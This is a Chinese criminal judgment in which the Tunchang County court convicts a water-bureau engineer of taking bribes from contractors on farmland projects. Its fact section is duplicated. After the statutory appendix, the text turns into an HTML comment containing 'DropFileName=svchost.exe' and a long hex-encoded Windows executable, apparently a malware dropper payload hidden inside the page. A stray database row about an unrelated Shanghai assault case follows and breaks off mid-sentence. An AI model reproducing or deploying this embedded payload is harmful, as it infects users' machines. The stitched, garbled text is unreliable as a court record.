海南省屯昌县人民法院
p t ; ” > 刑 事 判 决 书
（2017）琼9022刑初180号
公诉机关屯昌县人民检察院。
被告人陈昌江，男，1964年2月3日出生，汉族，大专文化，海南省屯昌县人，屯昌县水务局工程师，住海南省屯昌县。因本案经屯昌县人民检察院决定，于2017年7月10日被屯昌县公安局执行取保候审。2017年12月13日经本院决定继续取保候审，同日由屯昌县公安局执行取保候审在家。
屯昌县人民检察院以屯检公诉刑诉[2017]181号起诉书指控被告人陈昌江犯受贿罪，于2017年12月7日向本院提起公诉。本院依法组成合议庭，适用普通程序，于2017年12月21日公开开庭审理了本案。屯昌县人民检察院指派检察员蒙美容出庭支持公诉，被告人陈昌江到庭参加诉讼。现已审理终结。
屯昌县人民检察院指控，2004年，被告人陈昌江从屯昌县水务局借调到屯昌县农业综合开发办公室分别担任助理工程师、工程师。2007年5月至2015年7月，被告人陈昌江在屯昌县农业综合开发办公室工作期间，利用其负责工程施工管理、技术指导、参与工程验收等职务之便，先后收取包工头林某人民币1.8万元（以下无特别注明，币种均为人民币）、廖某1.2万元、郑某6000元、倪某5000元、谢某4500元。具体情况如下：
一、被告人陈昌江收取林某1.8万元的事实
（一）2007年9月，林某挂靠屯昌龙顺建筑工程有限公司中标屯昌县下屯洋农田整治下屯工程。在施工过程中，林某让被告人陈昌江到该施工工地帮忙解决土地青苗纠纷，并进行水沟测量和工程施工技术指导。为表示感谢和能顺利通过验收，林某送给被告人陈昌江3000元。
（二）2008年9月，林某挂靠屯昌龙顺建筑工程有限公司中标屯昌县面前洋农田整治工程。在施工过程中，林某让被告人陈昌江到该施工工地进行水沟测量和工程施工技术指导。为了表示感谢和能顺利通过验收，林某送给被告人陈昌江3000元。
（三）2010年9月，林某挂靠屯昌龙顺建筑工程有限公司中标屯昌县加彩洋和大葵洋农田整治工程一标B段工程。在施工过程中，林某让被告人陈昌江到该施工工地帮忙解决土地青苗纠纷和进行工程施工技术指导。为了表示感谢和能顺利通过验收，林某送给被告人陈昌江3000元。
（四）2011年10月，林某挂靠屯昌龙顺建筑工程有限公司中标屯昌县南山洋和坡朗洋农田整治工程的三标段工程。在施工过程中，林某让被告人陈昌江到施工工地帮忙解决土地青苗纠纷和进行水沟测量。为了表示感谢和能顺利通过验收，林某送给被告人陈昌江3000元。
（五）2012年10月，邓美深挂靠兴华建设集团有限公司中标屯昌县土地治理、农田整治工程的二标段工程。林某从邓美深处分到85万元的工程。在施工过程中，林某让被告人陈昌江到其所承建的工程施工地进行水沟测量和工程施工技术指导。为了表示感谢和能顺利通过验收，林某送给被告人陈昌江3000元。
（六）2013年9月，杨忠华挂靠海南琼威建筑工程有限公司中标屯昌县存量资金土地治理项目六根洋农田整治工程的二标段工程。林某从杨忠华处分到80万元的工程。在施工过程中，林某让被告人陈昌江到工地进行水沟测量和工程施工技术指导。为了表示感谢，林某送给被告人陈昌江3000元。
被告人陈昌江六次收受林某的1.8万元感谢费，均用于个人日常生活消费。
二、被告人陈昌江收取廖某1.2万元的事实
（一）2007年9月，廖某挂靠屯昌县建筑安装工程公司中标屯昌县下屯洋农田整治工程的二标段工程。在工程施工过程中，廖某让被告人陈昌江到施工地帮忙协调解决与当地群众发生土地青苗纠纷和施工技术指导。为了表示感谢和能顺利通过验收，2008年春节前的一天，廖某在屯昌县屯城镇雅苑宾馆二楼送给被告人陈昌江2000元。
（二）2008年9月，廖某挂靠屯昌县建筑安装工程公司中标屯昌县面前洋农田整治工程的四标段工程，工程投资额95.13万元。在工程施工过程中，廖某让被告人陈昌江到该工程的工地帮忙协调解决施工地与当地群众发生的土地青苗纠纷和施工技术指导。为了表示感谢和能顺利通过验收，2009年的春节前的一天，廖某在雅苑宾馆二楼送给被告人陈昌江2000元。
（三）2009年9月，廖某用他儿子廖厚强的名义挂靠海南××屯南凯洋农田整治工程的六标段工程。在工程施工过程中，廖某让被告人陈昌江到工地帮忙协调解决与当地群众发生土地青苗纠纷和施工技术指导。为了表示感谢和能顺利通过验收，2010年的春节前的一天，廖某在屯昌县屯城镇新建路送给被告人陈昌江2000元。
（四）2010年9月，廖某挂靠屯昌水电建筑有限公司中标屯昌县加彩洋和大葵洋农田整治工程的五标C段工程。在工程施工过程中，廖某让被告人陈昌江到工地帮忙协调解决与当地群众发生土地青苗纠纷和施工技术指导。为了表示感谢和顺利通过验收，2011年的春节前的一天，廖某在雅苑宾馆二楼送给被告人陈昌江3000元。
（五）2011年1月，廖某挂靠屯昌县建筑安装工程公司中标屯昌县南山洋和坡朗洋农田整治工程的四标段工程。在工程施工过程中，廖某让被告人陈昌江到工地帮忙协调解决与当地群众发生土地青苗纠纷和施工技术指导。为了表示感谢和顺利通过验收，2012年的春前的一天，廖某在屯昌县屯城镇新建路路边送给被告人陈昌江3000元。
被告人陈昌江五次收受廖某的1.2万元感谢费，均用于个人日常生活消费。
三、被告人陈昌江收取郑某6000元的事实
（一）2010年9月，郑某以其弟弟郑恩育的名义挂靠屯昌水电建筑有限公司中标屯昌县加彩洋和大葵洋农田整治工程的五标B段工程并进行施工。2011年4月，该工程顺利通过验收。为了顺利通过审计，郑某在屯昌县水务局职工宿舍区停车场送给被告人陈昌江2000元。
（二）2011年10月，郑某以其弟弟郑恩育的名义挂靠江西威乐建设集团有限公司中标屯昌县南山洋和坡朗洋农田整治工程的十三标段工程并进行施工。2012年5月该工程顺利通过验收。为了顺利通过审计。郑某在屯昌县水务局职工宿舍区大门口送给被告人陈昌江2000元。
（三）2012年10月，钱汉宙挂靠江西省降龙水利水电建设工程有限公司中标屯昌县土地治理和农田整治工程的一标段工程。郑某又以其弟弟郑恩育的名义从钱汉宙处分到部分工程并施工。该工程于2013年3月通过验收。为了顺利通过审计。郑某在屯昌县水务局职工宿舍区门口送给被告人陈昌江2000元。
被告人陈昌江三次收受郑某的6000元，均用于个人日常生活消费。
四、被告人陈昌江收取倪某5000元的事实
（一）2012年10月，钱汉宙挂靠江西省降龙水利水电建设工程有限公司中标屯昌县土地治理和农田整治工程的一标段工程。倪某从钱汉宙处分到部分工程并进行施工。工程施工过程中，倪某让被告人陈昌江工地进行技术指导和帮忙协调解决土地青苗纠纷。为了表示感谢和能顺利通过验收。2013年春节前的一天，倪某在屯昌县屯城镇康英酒店送给被告人陈昌江3000元。
（二）2013年9月，邓美深挂靠海南省水利水电建筑安装公司中标屯昌县存量资金土地治理项目六根洋农田整治工程的三标段工程。倪某从邓美深处分到部分工程并进行施工。2014年春节前的一天，倪某打电话约被告人陈昌江到工地帮忙检查指导和维修完善指导。之后倪某在工地送给被告人陈昌江2000元。
被告人陈昌江二次收受倪某的5000元，均用于个人日常生活消费。
五、被告人陈昌江收取谢某4500元的事实
（一）2011年10月，谢某挂靠三亚市水利水电工程建筑公司中标屯昌县2011年农业综合开发南山洋和坡朗洋农田整治工程的八标段工程。在工程施工过程中，谢某让被告人陈昌江到工地帮忙协调解决与当地群众发生土地青苗纠纷。为了表示感谢，2012年春前的一天，谢某在康英酒店送给被告人陈昌江1000元。
（二）2012年10月，钱汉宙挂靠江西省降龙水利水电建设工程有限公司中标屯昌县土地治理和农田整治工程的一标段工程。谢某又从钱汉宙处分到部分工程。在工程施工过程中，谢某让被告人陈昌江帮忙协调解决过施工地与周边群众发生的土地青苗纠纷。为了表示感谢，2013年春节前的某一天，谢某在屯昌县屯城镇冠华酒店送给被告人陈昌江2000元。
（三）2013年9月，谢某挂靠海南泰盛建筑工程有限公司中标屯昌县存量资金土地治理项目六根洋农田整治工程的一标段工程。在工程施工过程中，谢某让被告人陈昌江到工地帮忙协调解决与当地群众发生土地青苗纠纷。为了表示感谢，2014年春前的一天，谢某在××屯送给被告人陈昌江1500元。
被告人陈昌江三次收受谢某的4500元，均用于个人日常生活消费。
2017年6月18日，被告人陈昌江主动到本院投案，并退还全部赃款人民币4.55万元。
为了证明上述指控的犯罪事实，公诉机关出示了以下证据证明：1.书证：常住人口信息表、情况说明、聘用书、相关农田整治工程材料、到案经过、缴款书；2.证人林某、廖某、倪某、郑某、谢某的证言；3.被告人陈昌江的供述与辩解。
公诉机关认为，被告人陈昌江身为国家工作人员，利用其负责农综项目工程监督、管理、技术指导及验收的职务便利，非法收受他人贿赂款人民币4.55万元，数额较大，应当以受贿罪追究其刑事责任。被告人陈昌江主动到案，并能如实供述自己的罪行，系自首，可以从轻处罚。特提起公诉，请依法判处。
被告人陈昌江对公诉机关指控的犯罪事实和罪名均无异议。
经审理查明，2004年，被告人陈昌江从屯昌县水务局借调到屯昌县农业综合开发办公室分别担任助理工程师、工程师。2007年5月至2015年7月，被告人陈昌江在屯昌县农业综合开发办公室工作期间，利用其负责工程施工管理、技术指导、参与工程验收等职务之便，先后收取包工头林某人民币1.8万元（以下无特别注明，币种均为人民币）、廖某1.2万元、郑某6000元、倪某5000元、谢某4500元。具体情况如下：
一、被告人陈昌江收取林某1.8万元的事实
（一）2007年9月，林某挂靠屯昌龙顺建筑工程有限公司中标屯昌县下屯洋农田整治下屯工程。在施工过程中，林某让被告人陈昌江到该施工工地帮忙解决土地青苗纠纷，并进行水沟测量和工程施工技术指导。为表示感谢和能顺利通过验收，林某送给被告人陈昌江3000元。
（二）2008年9月，林某挂靠屯昌龙顺建筑工程有限公司中标屯昌县面前洋农田整治工程。在施工过程中，林某让被告人陈昌江到该施工工地进行水沟测量和工程施工技术指导。为了表示感谢和能顺利通过验收，林某送给被告人陈昌江3000元。
（三）2010年9月，林某挂靠屯昌龙顺建筑工程有限公司中标屯昌县加彩洋和大葵洋农田整治工程一标B段工程。在施工过程中，林某让被告人陈昌江到该施工工地帮忙解决土地青苗纠纷和进行工程施工技术指导。为了表示感谢和能顺利通过验收，林某送给被告人陈昌江3000元。
（四）2011年10月，林某挂靠屯昌龙顺建筑工程有限公司中标屯昌县南山洋和坡朗洋农田整治工程的三标段工程。在施工过程中，林某让被告人陈昌江到施工工地帮忙解决土地青苗纠纷和进行水沟测量。为了表示感谢和能顺利通过验收，林某送给被告人陈昌江3000元。
（五）2012年10月，邓美深挂靠兴华建设集团有限公司中标屯昌县土地治理、农田整治工程的二标段工程。林某从邓美深处分到85万元的工程。在施工过程中，林某让被告人陈昌江到其所承建的工程施工地进行水沟测量和工程施工技术指导。为了表示感谢和能顺利通过验收，林某送给被告人陈昌江3000元。
（六）2013年9月，杨忠华挂靠海南琼威建筑工程有限公司中标屯昌县存量资金土地治理项目六根洋农田整治工程的二标段工程。林某从杨忠华处分到80万元的工程。在施工过程中，林某让被告人陈昌江到工地进行水沟测量和工程施工技术指导。为了表示感谢，林某送给被告人陈昌江3000元。
被告人陈昌江六次收受林某的1.8万元感谢费，均用于个人日常生活消费。
二、被告人陈昌江收取廖某1.2万元的事实
（一）2007年9月，廖某挂靠屯昌县建筑安装工程公司中标屯昌县下屯洋农田整治工程的二标段工程。在工程施工过程中，廖某让被告人陈昌江到施工地帮忙协调解决与当地群众发生土地青苗纠纷和施工技术指导。为了表示感谢和能顺利通过验收，2008年春节前的一天，廖某在屯昌县屯城镇雅苑宾馆二楼送给被告人陈昌江2000元。
（二）2008年9月，廖某挂靠屯昌县建筑安装工程公司中标屯昌县面前洋农田整治工程的四标段工程，工程投资额95.13万元。在工程施工过程中，廖某让被告人陈昌江到该工程的工地帮忙协调解决施工地与当地群众发生的土地青苗纠纷和施工技术指导。为了表示感谢和能顺利通过验收，2009年的春节前的一天，廖某在雅苑宾馆二楼送给被告人陈昌江2000元。
（三）2009年9月，廖某用他儿子廖厚强的名义挂靠海南××屯南凯洋农田整治工程的六标段工程。在工程施工过程中，廖某让被告人陈昌江到工地帮忙协调解决与当地群众发生土地青苗纠纷和施工技术指导。为了表示感谢和能顺利通过验收，2010年的春节前的一天，廖某在屯昌县屯城镇新建路送给被告人陈昌江2000元。
（四）2010年9月，廖某挂靠屯昌水电建筑有限公司中标屯昌县加彩洋和大葵洋农田整治工程的五标C段工程。在工程施工过程中，廖某让被告人陈昌江到工地帮忙协调解决与当地群众发生土地青苗纠纷和施工技术指导。为了表示感谢和顺利通过验收，2011年的春节前的一天，廖某在雅苑宾馆二楼送给被告人陈昌江3000元。
（五）2011年1月，廖某挂靠屯昌县建筑安装工程公司中标屯昌县南山洋和坡朗洋农田整治工程的四标段工程。在工程施工过程中，廖某让被告人陈昌江到工地帮忙协调解决与当地群众发生土地青苗纠纷和施工技术指导。为了表示感谢和顺利通过验收，2012年的春前的一天，廖某在屯昌县屯城镇新建路路边送给被告人陈昌江3000元。
被告人陈昌江五次收受廖某的1.2万元感谢费，均用于个人日常生活消费。
三、被告人陈昌江收取郑某6000元的事实
（一）2010年9月，郑某以其弟弟郑恩育的名义挂靠屯昌水电建筑有限公司中标屯昌县加彩洋和大葵洋农田整治工程的五标B段工程并进行施工。2011年4月，该工程顺利通过验收。为了顺利通过审计，郑某在屯昌县水务局职工宿舍区停车场送给被告人陈昌江2000元。
（二）2011年10月，郑某以其弟弟郑恩育的名义挂靠江西威乐建设集团有限公司中标屯昌县南山洋和坡朗洋农田整治工程的十三标段工程并进行施工。2012年5月该工程顺利通过验收。为了顺利通过审计。郑某在屯昌县水务局职工宿舍区大门口送给被告人陈昌江2000元。
（三）2012年10月，钱汉宙挂靠江西省降龙水利水电建设工程有限公司中标屯昌县土地治理和农田整治工程的一标段工程。郑某又以其弟弟郑恩育的名义从钱汉宙处分到部分工程并施工。该工程于2013年3月通过验收。为了顺利通过审计。郑某在屯昌县水务局职工宿舍区门口送给被告人陈昌江2000元。
被告人陈昌江三次收受郑某的6000元，均用于个人日常生活消费。
四、被告人陈昌江收取倪某5000元的事实
（一）2012年10月，钱汉宙挂靠江西省降龙水利水电建设工程有限公司中标屯昌县土地治理和农田整治工程的一标段工程。倪某从钱汉宙处分到部分工程并进行施工。工程施工过程中，倪某让被告人陈昌江工地进行技术指导和帮忙协调解决土地青苗纠纷。为了表示感谢和能顺利通过验收。2013年春节前的一天，倪某在屯昌县屯城镇康英酒店送给被告人陈昌江3000元。
（二）2013年9月，邓美深挂靠海南省水利水电建筑安装公司中标屯昌县存量资金土地治理项目六根洋农田整治工程的三标段工程。倪某从邓美深处分到部分工程并进行施工。2014年春节前的一天，倪某打电话约被告人陈昌江到工地帮忙检查指导和维修完善指导。之后倪某在工地送给被告人陈昌江2000元。
被告人陈昌江二次收受倪某的5000元，均用于个人日常生活消费。
五、被告人陈昌江收取谢某4500元的事实
（一）2011年10月，谢某挂靠三亚市水利水电工程建筑公司中标屯昌县2011年农业综合开发南山洋和坡朗洋农田整治工程的八标段工程。在工程施工过程中，谢某让被告人陈昌江到工地帮忙协调解决与当地群众发生土地青苗纠纷。为了表示感谢，2012年春前的一天，谢某在康英酒店送给被告人陈昌江1000元。
（二）2012年10月，钱汉宙挂靠江西省降龙水利水电建设工程有限公司中标屯昌县土地治理和农田整治工程的一标段工程。谢某又从钱汉宙处分到部分工程。在工程施工过程中，谢某让被告人陈昌江帮忙协调解决过施工地与周边群众发生的土地青苗纠纷。为了表示感谢，2013年春节前的某一天，谢某在屯昌县屯城镇冠华酒店送给被告人陈昌江2000元。
（三）2013年9月，谢某挂靠海南泰盛建筑工程有限公司中标屯昌县存量资金土地治理项目六根洋农田整治工程的一标段工程。在工程施工过程中，谢某让被告人陈昌江到工地帮忙协调解决与当地群众发生土地青苗纠纷。为了表示感谢，2014年春前的一天，谢某在××屯送给被告人陈昌江1500元。
被告人陈昌江三次收受谢某的4500元，均用于个人日常生活消费。
2017年6月18日，被告人陈昌江主动到屯昌县人民检察院投案，并退还全部赃款人民币4.55万元（暂存在海南省财政厅财政性资金账户）。
认定上述事实的证据有：
（一）书证
1.常住人口信息表，证实：被告人陈昌江于1964年2月3日出生，犯罪时已达到刑事责任年龄，依法应负完全刑事责任。
2.情况说明，证实：陈昌江于1991年从水务局借用到屯昌县农业综合开发办负责农田整治工程项目技术工作，2001年调回水务局。2004年又将陈昌江从屯昌县水务局借用到屯昌县农业综合开发办公室继续负责农田整治工程项目技术工作，农综办于2015年7月20日决定将其辞退。
3.聘用书，证实陈昌江于2002年7月至2012年7月被屯昌县水务局聘任为水利工程管理助理工程师。
4.处分决定，证实陈昌江于1991年10月到屯昌县水务局水利水电建筑勘测设计室工作（在编），同年12月到2015年被借调到屯昌县农综办工作。
5.相关农田整治工程材料，证实2007年下屯洋工程二标（大路）为廖某负责，四标为林某负责；2008年面前洋工程四标为廖某负责，五标为林某负责；2009年南凯洋的六标为廖某的儿子廖厚强负责；2010年加彩洋和大葵洋工程一标B段为林某负责，五标C段由廖某负责，六标A段由邓美深负责；2011年南山洋和坡朗洋工程三标由林某负责，四标由廖某负责，六标由邓美深负责，八标由谢某负责，十三标由郑恩育负责；2012年龙水洋由倪某、谢某、郑恩育负责，二标由邓美深、林某负责；2013年六根样一标由谢某负责，二标由林某负责。每年的项目验收单上均有陈昌江签名。
6.到案经过，证实被告人陈昌江于2017年6月18日主动到屯昌县人民检察院投案自首，如实交代了其借调在屯昌县农综办工作期间，非法收受林某、廖某、谢某等人共计人民币4.55万元的事实。
7.缴款书，证实陈昌江于2017年7月11日退赃4.55万元（暂存在海南省财政厅财政性资金账户）。
（二）证人证言
1.林某的证言，证实其分六次共送给陈昌江人民币1.8万元，理由均因为陈昌江不但帮他解决一些土地、青苗纠纷，还对其的工程进行指导，并在验收的时候帮他顺利通过验收。六次送钱的地点都是在工地。其中第一次是2007年在新兴镇下屯洋工地上送了3000元；第二次是2008年在面前洋工地送了3000元；第三次是2010年在加彩洋和大葵洋1标段B标段工地送了3000元；第四次是2011年在新兴南山洋工地送了3000元；第五次是2012年在新村洋工地送了3000元；第六次是2013年在六根洋工地送了3000元。
2、廖某的证言，证实其分五次共送给陈昌江人民币1.2万元。理由均因为陈昌江负责技术指导和验收，希望陈昌江能多给其工地进行指导，帮助顺利通过验收。第一次是在2008年春节前后的一天，在雅苑宾馆二楼送了2000元；第二次是在2009年春节前后的一天，也是在雅苑宾馆二楼送了2000元；第三次是在2010年春节前后的一天，在新建路路边送了2000元；第四次是在2010年年底或2011年年初的时候在雅苑宾馆送了3000元；第五次是在2011年年底快要过年的时候在新建路送了3000元。
3.郑某的证言，证实为了能顺利通过验收，其分三次共送给陈昌江人民币6000元。第一次是在2011年下半年的某一天在原水务局职工宿舍区停车场，送了2000元；第二次是在2012年中旬的某一天在原水务局职工宿舍区大门口的路边送了2000元；第三次是在2013年下半年的某一天在原水务局职工宿舍区附近路边送了2000元。
4.倪某的证言，证实其分二次共送给陈昌江5000元。因为陈昌江帮助其解决纠纷，并且在验收的时候帮他说了不少好话，为了表示感谢，所以其就送些钱给陈昌江。第一次是在2013年春节前后的某一天在康英酒店送了3000元；第二次是在2014年春节前后的某一天在工地上送了2000元。
5.谢某的证言，证实其分三次共送给陈昌江4500元，是为了感谢陈昌江帮其解决了一些施工地与周边群众发生的土地青苗纠纷，并对其工程给予了技术指导，另外也想和陈昌江继续搞好关系，确保工程顺利通过验收。第一次是在2012年春节前后的一天，在康英酒店送了1000元；第二次是在2013年春节前后的一天，在冠华酒店送了2000元；第三次是在2014年春节前后的一天，在解放路的一个路边送了1500元。
（三）被告人陈昌江的供述与辩解，证实：其先后分别收受林某、廖某、倪某、谢某等人的贿赂款共计人民币4.55万元。其中：1.六次收受林某共计1.8万元，第一次是2007年下半年，在新兴镇下屯洋工程的工地上收了3000元；第二次是2008年下半年，在屯城镇长袋村的面前洋工程工地收了3000元；第三次是2010年下半年，在南吕农场加彩洋和大葵洋工程的工地收了3000元；第四次是2011年下半年，在枫木镇南山洋工程的工地收了3000元；第五次是2012年下半年，在××屯洋工程的工地收了3000元；第六次是2013年下半年，在南吕镇六根村六根洋工程的工地收了3000元。2.五次收受廖某共计1.2万元，第一次是在2008年春节前，在雅苑宾馆二楼收了2000元；第二次是在2009年春节前的一天，也是在雅苑宾馆二楼收了2000元；第三次是在2010年春节前的一天，在屯城镇新建路路边收了2000元；第四次是在2011年春节前的一天，在雅苑宾馆二楼收了3000元；第五次是在2012年春节前某一天，在新建路收了3000元。3.三次收受郑某共计6000元，第一次是在2011年下半年，在水务局职工宿舍区停车场，收了2000元；第二次是在2012年下半年，在水务局职工宿舍区大门口的路边收了2000元；第三次是在2013年下半年，在水务局职工宿舍区附近路边收了2000元。4.二次收受倪某共计5000元，第一次是在2013年春节前后的某一天在康英酒店一楼大厅卡座收了3000元；第二次是在2014年春节前后的某一天在南吕六根洋工程的工地上收了2000元。5.三次收受谢某共计4500元，第一次是在2012年春节前后的一天，在康英酒店一楼收了1000元；第二次是在2013年春节前后的一天，在冠华酒店12楼包厢收了2000元；第三次是在2014年春节前后的一天，在水务局宿舍附近的解放路收了1500元。
上述证据来源合法，客观真实，能相互印证，并经当庭质证，具有证明本案事实效力，本院予以确认。
本院认为，被告人陈昌江在被聘任为屯昌县农业综合开发办公室工程师期间，利用其负责农综项目工程监督、管理、技术指导及验收的职务便利，非法收受他人财物共计人民币4.55万元，数额较大，其行为已构成受贿罪。公诉机关指控被告人的犯罪事实清楚,证据确实、充分，指控的罪名成立，本院予以支持。被告人陈昌江自动投案，并如实供述自己的罪行，系自首，依法可以从轻或者减轻处罚；且被告人陈昌江在案发后已主动全部退赃，酌情可以从轻处罚。鉴于被告人陈昌江自首，真诚悔罪，积极退赃，避免、减少损害结果的发生，对其免予刑事处罚。依照《中华人民共和国刑法》第三百八十五条第一款、第三百八十六条、第三百八十三条第一款第（一）项、第三款、第六十七条第一款、第六十四条及《最高人民法院、最高人民检察院关于办理贪污贿赂刑事案件适用法律若干问题的解释》第一条第一款的规定，判决如下：
一、被告人陈昌江犯受贿罪，免予刑事处罚。
二、被告人陈昌江所退非法所得人民币4.55万元予以没收，由保管单位上缴国库。
如不服本判决，可在接到判决书的第二日起十日内，通过本院或者直接向海南省第一中级人民法院提出上诉。书面上诉的，应当提交上诉状正本一份，副本二份。
审判长韩永煌
人民陪审员王康聪
人民陪审员李春兰
二〇一七年十二月二十五日
法官助理欧雪香
书记员李星莹
附：本案适用的法律条文
《中华人民共和国刑法》
第三百八十五条国家工作人员利用职务上的便利，索取他人财物的，或者非法收受他人财物，为他人谋取利益的，是受贿
罪。
国家工作人员在经济往来中，违反国家规定，收受各种名义的回扣、手续费，归个人所有的，以受贿论处。
第三百八十六条对犯受贿罪的，根据受贿所得数额及情节，依照本法第三百八十三条的规定处罚。索贿的从重处罚。
第三百八十三条对犯贪污罪的，根据情节轻重，分别依照下列规定处罚：
(一)贪污数额较大或者有其他较重情节的，处三年以下有期徒刑或者拘役，并处罚金。
(二)贪污数额巨大或者有其他严重情节的，处三年以上十年以下有期徒刑，并处罚金或者没收财产。
(三)贪污数额特别巨大或者有其他特别严重情节的，处十年以上有期徒刑或者无期徒刑，并处罚金或者没收财产；数额特别巨大，并使国家和人民利益遭受特别重大损失的，处无期徒刑或者死刑，并处没收财产。
对多次贪污未经处理的，按照累计贪污数额处罚。
犯第一款罪，在提起公诉前如实供述自己罪行、真诚悔罪、积极退赃，避免、减少损害结果的发生，有第一项规定情形的，可以从轻、减轻或者免除处罚；有第二项、第三项规定情形的，可以从轻处罚。
犯第一款罪，有第三项规定情形被判处死刑缓期执行的，人民法院根据犯罪情节等情况可以同时决定在其死刑缓期执行二年期满依法减为无期徒刑后，终身监禁，不得减刑、假释。
第六十七条犯罪以后自动投案，如实供述自己的罪行的，是自首。对于自首的犯罪分子，可以从轻或者减轻处罚。其中，犯罪较轻的，可以免除处罚。
被采取强制措施的犯罪嫌疑人、被告人和正在服刑的罪犯，如实供述司法机关还未掌握的本人其他罪行的，以自首论。
犯罪嫌疑人虽不具有前两款规定的自首情节，但是如实供述自己罪行的，可以从轻处罚；因其如实供述自己罪行，避免特别严重后果发生的，可以减轻处罚。
第六十四条犯罪分子违法所得的一切财物，应当予以追缴或者责令退赔；对被害人的合法财产，应当及时返还；违禁品和供犯罪所用的本人财物，应当予以没收。没收的财物和罚金，一律上缴国库，不得挪用和自行处理。
《最高人民法院、最高人民检察院
关于办理贪污贿赂刑事案件适用法律若干问题的解释》
第一条贪污或者受贿数额在三万元以上不满二十万元的，应当认定为刑法第三百八十三条第一款规定的”数额较大”，依法判处三年以下有期徒刑或者拘役，并处罚金。
贪污数额在一万元以上不满三万元，具有下列情形之一的，应当认定为刑法第三百八十三条第一款规定的”其他较重情节”，依法判处三年以下有期徒刑或者拘役，并处罚金：
（一）贪污救灾、抢险、防汛、优抚、扶贫、移民、救济、防疫、社会捐助等特定款物的；
（二）曾因贪污、受贿、挪用公款受过党纪、行政处分的；
（三）曾因故意犯罪受过刑事追究的；
（四）赃款赃物用于非法活动的；
（五）拒不交待赃款赃物去向或者拒不配合追缴工作，致使无法追缴的；
（六）造成恶劣影响或者其他严重后果的。
受贿数额在一万元以上不满三万元，具有前款第二项至第六项规定的情形之一，或者具有下列情形之一的，应当认定为刑法第三百八十三条第一款规定的”其他较重情节”，依法判处三年以下有期徒刑或者拘役，并处罚金：
（一）多次索贿的；
（二）为他人谋取不正当利益，致使公共财产、国家和人民利益遭受损失的；
（三）为他人谋取职务提拔、调整的。
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AE','2018-09-26
18:46:43',0,'web',NULL),(21597574,'8f4e8a3e-4284-413d-9148-4755fb666940','$(function(){$(\"#con_llcs\").html(\"浏览：47次\")});$(function(){var
caseinfo=JSON.stringify({\"法院区县\":\"浦东新区\",\"法院ID\":\"912\",\"DocContent\":\"\",\"审判程序\":\"一审\",\"文书全文类型\":null,\"案号\":\"（2015）浦刑初字第2757号\",\"不公开理由\":null,\"法院地市\":\"上海市第一中级人民法院\",\"法院省份\":\"上海\",\"上传日期\":\"\\\/Date(1441842831000)\\\/\",\"案件类型\":\"1\",\"文书ID\":\"8f4e8a3e-4284-413d-9148-4755fb666940\",\"案件名称\":\"邹丙、刘某某等寻衅滋事一审刑事判决书\",\"法院名称\":\"上海市浦东新区人民法院\",\"补正文书\":\"2\",\"法院区域\":\"东中部\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"文本首部段落原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"诉讼记录段原文\":\"公诉机关上海市浦东新区人民检察院。被告人邹丙。被告人刘某某。被告人李甲。被告人李乙。被告人胡某。上海市浦东新区人民检察院以沪浦检刑诉〔2015〕2149号起诉书指控被告人邹丙、刘某某、李甲、李乙、胡某犯寻衅滋事罪，于2015年6月26日向本院提起公诉。本院于同日立案后，依法适用简易程序，实行独任审判，公开开庭审理了本案。上海市浦东新区人民检察院指派检察员�某某出庭支持公诉，被告人邹丙、刘某某、李甲、李乙、胡某到庭参加诉讼。现已审理终结。上海市浦东新区人民检察院指控，2015年5月1日21时许，被告人邹丙、刘某某、李甲、李乙、胡某在本区高东镇赵高路ＸＸＸ号路边陪同事孙某处理交通事故时，被告人邹丙与事故另一方亲属邹甲发生肢体接触而心生不满即打邹甲耳光，随即被告人邹丙、刘某某、李甲、李乙、胡某对被害人邹甲、邹乙拳打脚踢致伤。经鉴定，被害人邹甲遭外力作用致左颧面部软组织挫伤，构成轻微伤；被害人邹乙遭外力作用致鼻骨粉碎性骨折等，构成轻伤。案发当日，被告人邹丙、刘某某、李甲、李乙、胡某被公安机关抓获，到案后均如实供述了上述犯罪事实。案发后，被告人邹丙、刘某某、李甲、李乙、胡某在家属的帮助下赔偿被害人邹甲、邹乙合计人民币25000元，取得了谅解。上述事实�被告人邹丙、刘某某、李甲、李乙、胡某在开庭审理过程中亦无异议，且有经庭审质证属实的被害人邹甲、邹乙的陈述笔录，证人孙某、郁某某、沈某某的证言笔录，辨认笔录，验伤通知书、上海法衡医学科技有限公司司法鉴定所鉴定意见书，调解协议、谅